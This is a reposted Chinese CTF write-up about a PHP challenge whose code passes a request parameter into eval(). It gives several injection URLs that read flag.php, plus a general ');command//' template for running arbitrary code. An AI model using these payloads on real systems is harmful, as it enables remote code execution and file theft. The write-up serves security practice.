9.本地包含(这题可能出现了问题)


题目源码如下

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

1.分析$_REQUEST()函数

预定义的$_REQUEST变量包含了$_GET、$_POST以及$_COOKIE的内容。

$_REQUEST变量既可以使用GET也可以使用POST方式收集表单数据。所以

我们可以通过以get/post等方式赋值给$a,

2.分析eval()函数

字符串当作命令直接执行

3.分析var_dump() 

输出变量a的类型和值。

这道题就是让你读 flag.php 的内容, 传入的参数为 hello 用 eval 函数把传入的参数当成 php 代码执行, 所以直接传

方法一:尝试将flag.php文件直接输出

http://120.24.86.145:8003/?hello=1);print_r(file("./flag.php"));%23

方法二:直接对hello赋值

http://123.206.87.240:8003/?hello=file('flag.php')

http://123.206.87.240:8003/?hello=file_get_contents('flag.php')

http://123.206.87.240:8003/?hello=show_source(%27flag.php%27)
此外也可以
http://123.206.87.240:8003/index.php?hello=1);show_source(%27flag.php%27);//
 
);”:负责把前面的命令闭合掉

//”:把原来命令的残余部分注释掉

  所以格式形式为如下

);the_command_that_you_want_to_execute//

 



免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM